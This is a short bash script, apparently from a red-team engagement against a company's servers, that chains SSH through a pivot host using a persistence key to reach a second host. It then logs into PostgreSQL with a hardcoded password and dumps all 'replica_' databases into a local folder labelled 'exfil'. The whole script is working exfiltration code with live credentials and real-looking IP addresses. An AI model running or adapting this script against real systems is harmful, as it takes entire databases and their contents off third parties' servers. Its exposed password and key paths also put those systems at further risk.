#!/bin/bash
# Dump ALL replica_* DBs from host B (98 total)
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_hostB_pg_replicas
mkdir -p "$OUTDIR"

# get replica list
REPLICAS=$(ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
  "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
  \"PGPASSWORD=N3wkedba# psql -h 127.0.0.1 -p 5432 -U kedebah -d postgres -tAc \\\"SELECT datname FROM pg_database WHERE datname LIKE 'replica_%' ORDER BY 1\\\"\" 2>/dev/null" 2>/dev/null)

echo "=== REPLICA DUMP: $(echo "$REPLICAS" | wc -l) DBs ==="
OK=0; FAIL=0
for db in $REPLICAS; do
  out="$OUTDIR/${db}.sql.gz"
  [ -s "$out" ] && { echo "[SKIP] $db"; continue; }
  ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
    "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
    \"PGPASSWORD=N3wkedba# pg_dump -h 127.0.0.1 -p 5432 -U kedebah -d '$db' --no-owner --no-privileges 2>/dev/null | gzip -1\"" \
    > "$out" 2>>"$OUTDIR/errors.log"
  rc=$?
  if [ $rc -eq 0 ] && [ -s "$out" ]; then
    echo "[OK] $db $(du -sh "$out" | cut -f1)"
    OK=$((OK+1))
  else
    echo "[FAIL] $db rc=$rc"
    rm -f "$out"
    FAIL=$((FAIL+1))
  fi
done
echo "=== DONE: $OK OK / $FAIL FAIL ==="
sha256sum "$OUTDIR"/*.sql.gz > "$OUTDIR/MANIFEST.sha256" 2>/dev/null
echo "manifest: $(wc -l < "$OUTDIR/MANIFEST.sha256") files"
